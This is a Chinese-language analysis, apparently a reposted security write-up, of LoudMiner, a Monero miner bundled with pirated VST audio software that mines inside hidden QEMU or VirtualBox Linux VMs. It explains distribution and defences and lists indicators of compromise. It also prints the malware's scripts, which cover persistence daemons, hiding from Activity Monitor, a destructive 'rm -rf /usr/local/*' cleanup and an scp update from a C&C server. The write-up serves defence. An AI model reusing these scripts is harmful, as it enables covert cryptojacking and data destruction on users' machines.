内容简介:介绍在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2018年8月被发现,主要针对macOS和Windows系统。它能通过一些虚拟软件,如macOS上的QEMU和Windows上的VirtualBox,在Tiny Core Linux虚拟机上进行加密货币挖掘活动——这种方式使之在面对不同操作系统时具有很强的适应性。LoudMiner常与盗版的VST(虚拟工作室技术)软件捆绑在一起,让下载的用户不知不觉中招。LoudMiner基于XMRig (一款门罗币挖矿程序),并用
介绍
在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2018年8月被发现,主要针对macOS和Windows系统。它能通过一些虚拟软件,如macOS上的QEMU和Windows上的VirtualBox,在Tiny Core Linux虚拟机上进行加密货币挖掘活动——这种方式使之在面对不同操作系统时具有很强的适应性。LoudMiner常与盗版的VST(虚拟工作室技术)软件捆绑在一起,让下载的用户不知不觉中招。LoudMiner基于XMRig (一款门罗币挖矿程序),并用到了矿池,这让我们无法追溯潜在的交易过程。
分布
在撰写本文时,我们在一个WordPress站点上发现了137个VST相关应用程序(42个用于Windows,95个用于macOS),该站点的域名于2018年8月24日注册。第一个应用程序——用于Windows的Kontakt Native Instruments 5.7——也是在注册当天上传的。考虑到应用的数量,对它们逐个分析会有些不切实际,不过我们可以先把它们都视作恶意木马看待。
挖矿程序本身则不在此站点上,而是托管在另外29个外部服务器中,服务器可见文末的IoC列表。由于LoudMiner背后的操作人员时常对其做更新,我们很难跟踪到它的第一个版本。
LoudMiner之所以选择与音频制作软件绑定,我们猜测可能有以下几点原因,一是安装这些VST软件的机器往往具有良好的处理能力;二是音频处理的高CPU消耗可能会掩盖挖矿的踪迹,让用户难以察觉;此外,这些VST软件通常很复杂,可以借用它们大文件的外壳掩人耳目,伪装VM映像的存在。攻击者选择使用虚拟机而不是更精简的方案,这一决定虽不常见实则却非常有效。
以下是攻击者捆绑的一些VST软件样本,以及网站上诱使用户下载的一些“好评”:
· Propellerhead Reason
· Ableton Live
· Sylenth1
· Nexus
· Reaktor 6
· AutoTune
图1、图2:该站点管理员对用户的回复
用户反馈
我们观察到,也有一些用户在该站点反馈进程说qemu-system-x86_64在他们的Mac上占用了100%的CPU:
图3.用户报告#1(https://discussions.apple.com/thread/250064603)
图4.用户报告#2(https://toster.ru/q/608325)
名为“Macloni”的用户表示:
我将不得不重新安装OSX。问题可能是出在了Ableton Live 10身上,我没有从官方网站下载,结果在安装软件的同时也安上了挖矿程序,完全占据了我的电脑内存。
同时该用户指示出有2个进程——qemu-system-x86_64和tools-service——占用了25%的CPU资源且以root身份运行。
盗版软件分析
攻击者对macOS和Windows应用程序构想的总体思路是一样的:
· 首先,应用程序与虚拟化软件、 Linux 映像和用于实现持久性的附加文件捆绑在一起。
· 用户下载应用程序后按照说明进行安装。
· 先安装扬声器采集器,再安装实际的VST软件。
· LoudMiner隐藏自身,并在重启时变为持久性。
· 启动Linux虚拟机并开始挖掘工作。
· 虚拟机中的脚本与C&C服务器联系来更新矿机(配置和二进制文件)。
在分析不同的应用程序时,我们已经确定了四个版本的挖矿机,主要是通过它与实际软件、C&C服务器域捆绑在一起的方式,以及作者创建的版本字符串来区分。
3个macOS的版本
到目前为止,我们已经识别出这款恶意软件的三个macOS版本。它们都是将自身复制到/usr/local/bin,也都包含了installerdata.dmg中运行QEMU所需的依赖项,并对运行过程设置了适当的权限。每个挖矿机都可以同时运行两个映像,每个映像占用128 MB的RAM和一个CPU核。持久性则是通过将RunAtLoad设置为true,并在/Library/LaunchDaemons中添加plist文件来实现的;同时还将KeepAlive设置为true,以确保停止后进程重新启动。每个版本都有以下组件:
· QEMU Linux映像。
· 用于启动QEMU映像的 Shell 脚本。
· 守护进程,用于在启动时启动shell脚本并使其运行。
· 一个带有守护进程的CPU监视器shell脚本,它可以根据CPU使用情况和活动监视器进程是否正在运行来启动/停止挖掘。
CPU监视器脚本可以通过加载守护进程来启动挖掘活动,终止进程来结束挖掘。如果Activity Monitor进程正在运行,则挖掘将停止。此外,它会检查系统空闲了多长时间(以秒为单位):
ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'
如果超过2分钟,则开始挖掘;如不到2分钟,则检查总CPU使用率:
ps -A -o %cpu | awk '{s+=$1} END {print s }'
除以CPU核数:
sysctl hw.logicalcpu |awk '{print $2 }')
如果大于85%,就停止挖掘。不同版本的脚本本身略有不同,但总体思路是相同的。
安装完成后,会删除所有挖矿机相关安装文件。
图5. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg的安装
图6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg设置说明
版本1
下载的应用程序包中的挖矿机文件没有经过模糊处理或放在另一个包中; 它们与软件一起安装在下列位置:
1、/Library/Application Support/.Qemusys
· qemu-system-x86_64 – 干净的QEMU二进制文件
· sys00_1-disk001.qcow2 – Linux 映像 (初始)
· qemuservice – 通过qemu-system-x86_64二进制文件启动初始映像的shell脚本(参见脚本1代码段)
2、/Library/Application Support/.System-Monitor
system-monitor.daemon –通过system-monitor二进制文件启动第一个映像
3、/usr/local/bin
.Tools-Service
· sys00_1-disk001.qcow2 – Linux 映像(第二个)
· tools-service.daemon –通过tools-service二进制文件启动第二个映像
· cpumonitor – 根据空闲时间和CPU使用情况启动/停止挖掘
· system-monitor – qemu-system-x86_64二进制文件的副本
· tools-service – qemu-system-x86_64二进制文件的副本
4、/Library/LaunchDaemons
· buildtools.system-monitor.plist – 启动system-monitor.daemon
· buildtools.tools-service.plist – 启动tools-service.daemon
· modulesys.qemuservice.plist – 启动qemuservice
· systools.cpumonitor.plist – 启动cpumonitor
#!/bin/bash function start { pgrep "Activity Monitor" if [ $? -eq 0 ]; then launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist else /usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none fi } start;
脚本1. qemuservice shell脚本
复制依赖项后,将启动所有与矿机相关的守护程序,然后安装实际软件:
1.如果Activity Monitor进程正在运行,qemuservice将不会启动映像,并卸载它所启动的plist。
2.tools-service.daemon仅在qemu-system-x86_64进程未运行且睡眠45分钟后才会启动映像。
3.只有在检测到Intel i5,i7或i9 CPU时,System-monitor.daemon才会启动映像。
这些脚本使用相同的命令来启动QEMU映像,只是名称和映像路径不同。
与版本1挖矿机相关的截图:
图7.使用Little Snitch的QEMU的CPU消耗(来源:https://imgur.com/a/sc3u6kk)
上图来自Little Snitch,表示来自进程qemu-system-x86_64的某些连接被阻止。具体来说,hopto[.]org (一个免费的主机名服务)是挖矿机版本1使用的C&C。
版本2
挖矿机文件位于下载的应用程序包内的data_installer.pkg中。将先安装data_installer.pkg,其次再安装VST软件,且在安装之前,会将版本1删除并执行以下命令:
rm -rf /usr/local/*
如脚本2中的列表所示,它仅在检测到正在运行的qemu-system-x86_64进程时才会这样做。
#!/bin/bash #Clear Old function clear { LGC=`ps aux |grep "qemu-system-x86_64" |wc -l` if [ $LGC -ge 2 ] Then launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist rm -rf /Library/Application\ Support/.Qemusys rm -rf /usr/local/bin/.Tools-Service rm -rf /Library/Application\ Support/.System-Monitor/ rm -rf /usr/local/* fi exit 0 } clear;
脚本2的 data_installer.pkg预安装脚本,用于删除版本1。
并创建以下临时文件:
/Users/Shared
· z1 – QEMU二进制文件
· z1.daemon – 使用QEMU二进制文件启动QEMU映像
· z1.qcow2 – QEMU映像
· z1.plist – 启动z1.daemon
· z3 – CPU监视器脚本,与版本1 cpumonitor相比变化不大
· z3.plist – 用于启动z3
· randwd – 生成随机名称
复制依赖项后将安装矿机。这次使用randwd脚本随机化QEMU二进制文件、plists和目录的名称。挖矿机安装过程会创建z1,z1.daemon,z1.qcow2和z1.plist的两个副本。对于每个副本,会发生下列情况:
· 在/ Library / Application Support中创建具有随机名称的目录
· QEMU二进制文件z1具有与目录相同的名称,并被复制到/ usr / local / bin中
· z1.daemon(参见脚本3中的列表)和z1.qcow2以随机名称复制到此目录中
· z1.plist以名称com.<random_name>.plist复制到/ Library / LaunchDaemons中
#!/bin/bash function start { pgrep "Activity Monitor" if [ $? -eq 0 ]; then launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist else /usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none fi } start;
脚本3. z1.daemon shell脚本
版本2比版本1更清晰简单。只有一个QEMU映像两个副本; 映像启动器脚本,守护进程和cpumonitor是相同的。尽管版本2随机化了文件和
目录,但它只能安装一次,因为安装时会在命令行中使用accel = hvf检查正在运行的进程。
从我们到目前为止检查到的版本2应用程序,data_installer.pkg的SHA1哈希始终是39a7e86368f0e68a86cce975fd9d8c254a86ed93。
版本3
挖矿机文件位于应用程序包内名为do.dmg的加密DMG文件中,安装DMG使用以下命令:
printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.
矿机DMG里有一个datainstallero.pkg包,再安装此软件包。
datainstallero.pkg与版本2的data_installer.pkg包内容大致相同,但datainstallero.pkg添加了两个混淆的脚本——clearpacko.sh和installpacko.sh,还混淆了以前的脚本randwd:
· clearpacko.sh用于删除版本2。
· installpacko.sh以与版本2相同的方式安装矿机,除了从脚本中删除注释之外。
· do.dmg的SHA1保持不变:b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9。
Linux映像
所有的版本都利用多个shell脚本来启动映像文件。shell脚本在引导时由plist执行,并保持活动状态。
版本1执行以下二进制文件(qemu-system-x86_64的副本)以启动QEMU映像:qemu-system-x86_64,system-monitor,tools-service。
版本2和3使用相同的命令,但二进制文件的文件名、Application Support中的目录和QEMU文件名是随机的。
所有版本都使用以下转换:
· -M accel = hvf使用Hypervisor(https://developer.apple.com/documentation/hypervisor)框架作为加速器。 HVF是在OS X 10.10中引入的,并且在2018年4月发布的QEMU 2.12中添加了对HVF的支持。
· -display none,以便虚拟机在没有图形界面的情况下运行。
由于未指定RAM量和CPU内核数量,这种情况下启动映像使用的是默认值:1个CPU内核和128MB RAM。所有版本都可以启动2个映像。
Windows(版本4)
从应用程序中提取的字符串中,我们定义了到目前为止所见的唯一Windows版本,其逻辑与macOS版本非常相似。用户下载的应用程序是破解的应用程序,加上封装为MSI安装程序的挖矿机。图8显示了运行破解的VST安装程序时,弹出的VirtualBox驱动安装信任窗口。
图8.弹出窗口
VirtualBox安装在它常规的文件夹(C:\Program Files\Oracle)中;但是,目录的属性被设置为“hidden”。之后安装程序将Linux映像和VBoxVmService(用于将VirtualBox虚拟机作为服务运行的Windows服务)复制到C:\ vms,这也是一个隐藏目录。安装完成后,安装程序将运行由BAT2EXE编译的批处理脚本(请参阅脚本4),以导入Linux映像并运行VmServiceControl.exe以将虚拟机作为服务启动。
@echo off setlocal EnableExtensions EnableDelayedExpansion "c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming" "c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova" xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\" "C:\vms\VmServiceControl.exe" -i del /F "c:\vms\tmp\sys00_1.ova"
脚本4.用于将Linux虚拟机作为服务运行的批处理脚本
此方法用于确保重启后的持久。实际上,VboxVmService附带了一个配置文件(参见脚本5),其中可以启用AutoStart选项,以便在机器启动时自动启动虚拟机。
[Settings] VBOX_USER_HOME=C:\vms\.VirtualBox RunWebService=no PauseShutdown=5000 [Vm0] VmName=sys00_1 ShutdownMethod=acpipowerbutton AutoStart=yes
脚本5.VBoxVmService的配置文件,启用了AutoStart
Linux映像中包含的OVF文件描述了虚拟机的硬件配置(请参阅脚本6):它使用1GB的RAM和2个CPU核(最大使用率为90%)。
<Hardware> <CPU count="2" executionCap="90"> <PAE enabled="true"/> <LongMode enabled="true"/> <X2APIC enabled="true"/> <HardwareVirtExLargePages enabled="true"/> </CPU> <Memory RAMSize="1024"/>
脚本6.Linux映像的硬件配置
Linux映像
Linux映像是一个配置为运行XMRig的Tiny Core Linux 9.0,还有一些文件和脚本,以使挖掘程序不断更新。最有趣的文件是:
· /root/.ssh/{id_rsa,id_rsa.pub} – 用于使用SCP从C&C服务器更新挖矿机的SSH对密钥。
· /opt/{bootsync.sh,bootlocal.sh} – 从C&C服务器更新挖矿机并运行的系统启动命令(参见脚本7和8):
/usr/bin/sethostname box /opt/bootlocal.sh 2>&1 > /dev/null & echo "booting" > /etc/sysconfig/noautologin
脚本7.bootsync.sh
/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null /mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null /mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null /mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null /mnt/sda1/tools/bin/xmrig
脚本8. bootlocal.sh
· / mnt / sda1 / tools / bin – 用于更新和运行挖矿机的主要文件和脚本。
· / mnt / sda1 / tools / xmrig – 包含XMRig的源代码(来自GitHub(https://github.com/xmrig/xmrig))。
矿机的配置存储在/mnt/sda1/tools/bin/config.json中,主要包含用于矿池的域名和端口,具体取决于版本型号(请参阅IoC部分中的示例)。
更新机制由三个不同的脚本通过SCP(安全文件复制)执行,三个脚本分别是:
· xmrig_update – 更新矿机的配置(config.json);
· ccommand – 更新ccommand_update,xmrig_update(参见脚本9),updater.sh,xmrig;
· ccommand_update – 更新ccommand。
从我们看到的情况来看,矿机的配置是每天更新一次的。
#!/bin/sh
ping -w 40 127.0.0.1 cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null <a href="/cdn-cgi/l/email-protection" data-cfemail="037b333243707a7077666e2e7673676277662d6a70">[email protected]</a>:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json
脚本9. xmrig_update
为了识别特定的挖掘会话,idgenerator脚本会创建一个包含机器的IP地址和日期的文件,并用update .sh脚本将其输出发送到C&C服务器。
保护方案
显然,要防范此类威胁,最好就是不要下载商业软件的盗版副本。除此之外,也有一些提示可以帮助您确定应用程序中是否包含了附加的代码:
· 一些不沾边的“附加”安装程序(在本例中为Oracle网络适配器)的信任弹出窗口。
· 没有安装的进程(本例中为QEMU或VirtualBox)却占用了大量的CPU。
· 有新服务添加到启动服务列表(Windows)或新的启动守护程序(macOS)中去。
· 一些奇怪域名的网络连接(例如system-update [.] info或system-check [.] services)。
IoC
hash
· macOS应用程序(版本1-3)
· Windows应用程序(版本4)
· Linux映像
文件名
· macOS
/Library/Application Support/.Qemusys
/Library/Application Support/.System-Monitor
/usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
/Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}
·Windows
C:\vms
主机名
vstcrack[.]com (137[.]74.151.144)
用于下载的主机(端口80,HTTP)
185[.]112.156.163
185[.]112.156.29
185[.]112.156.70
185[.]112.157.102
185[.]112.157.103
185[.]112.157.105
185[.]112.157.12
185[.]112.157.181
185[.]112.157.213
185[.]112.157.24
185[.]112.157.38
185[.]112.157.49
185[.]112.157.53
185[.]112.157.65
185[.]112.157.72
185[.]112.157.79
185[.]112.157.85
185[.]112.157.99
185[.]112.158.112
185[.]112.158.133
185[.]112.158.186
185[.]112.158.190
185[.]112.158.20
185[.]112.158.3
185[.]112.158.96
d-d[.]host (185[.]112.158.44)
d-d[.]live (185[.]112.156.227)
d-d[.]space (185[.]112.157.79)
m-m[.]icu (185[.]112.157.118)
用于更新的主机(通过SCP)
aly001[.]hopto.org (192[.]210.200.87, port 22)
system-update[.]is (145[.]249.104.109, port 5100)
用于挖掘的主机
system-update[.]info (185[.]193.126.114, port 443 or 8080)
system-check[.]services (82[.]221.139.161, port 8080)
以上所述就是小编给大家介绍的《LoudMiner:伪装在VST软件中的跨平台挖矿软件》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- “软件吃掉软件”:程序员未来会消失吗?
- 百度软件中心版 PuTTY 被曝恶意捆绑软件
- 软件复用导致的软件依赖问题 - research!rsc
- 『互联网架构』软件架构-软件系统设计(一)
- 云领软件,智享未来——昆明市软件开发云政策宣讲会暨华为软件开发云技术沙龙
- 软件项目管理功能的缺失是软件灾难的根本原因
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
文明之光(第二册)
吴军 / 人民邮电出版社 / 2014-6 / 59.00元
【《文明之光》系列荣获由中宣部、中国图书评论学会和中央电视台联合推选的2014“中国好书”奖】 吴军博士从对人类文明产生了重大影响却在过去被忽略的历史故事里,选择了有意思的几十个片段特写,以人文和科技、经济结合的视角,有机地展现了一幅人类文明发展的宏大画卷。 《文明之光 》系列大致按照从地球诞生到近现代的顺序讲述了人类文明进程的各个阶段,每个章节相对独立,全景式地展现了人类文明发展历程......一起来看看 《文明之光(第二册)》 这本书的介绍吧!